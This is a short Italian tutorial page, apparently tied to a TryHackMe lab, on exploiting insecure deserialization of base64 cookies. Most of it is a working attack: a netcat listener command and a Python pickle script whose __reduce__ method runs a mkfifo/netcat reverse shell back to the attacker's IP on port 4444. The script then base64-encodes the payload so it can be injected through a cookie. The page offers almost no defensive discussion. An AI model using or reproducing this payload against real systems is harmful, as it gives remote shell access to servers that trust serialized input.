Tutorials

Example

ESEMPIO DI INSECURE DESERIALIZATION  Vengono trasmessi dati codificati in base64 da un sito ad un database senza un controllo, dando per scontato che i dati in base64 siano benevoli. Ciò viene fatto t

#exploitation#web

ESEMPIO DI INSECURE DESERIALIZATION 

Vengono trasmessi dati codificati in base64 da un sito ad un database senza un controllo, dando per scontato che i dati in base64 siano benevoli. Ciò viene fatto tramite i cookies. A questo punto noi possiamo avere una reverse shell con netcat tramite qeusti pochi comandi:

shell
nc -lvnp 4444
  • per avviare netcat in ascolto
shell
cat pickleme.py

python
import pickle

import sys

import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'

class rce(object):

def __reduce__(self):

import os

return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

  • Questo invece è il tool che ci codifica in base64 il codice che vogliamo iniettare. In questo caso    del codice per creare una reverse shell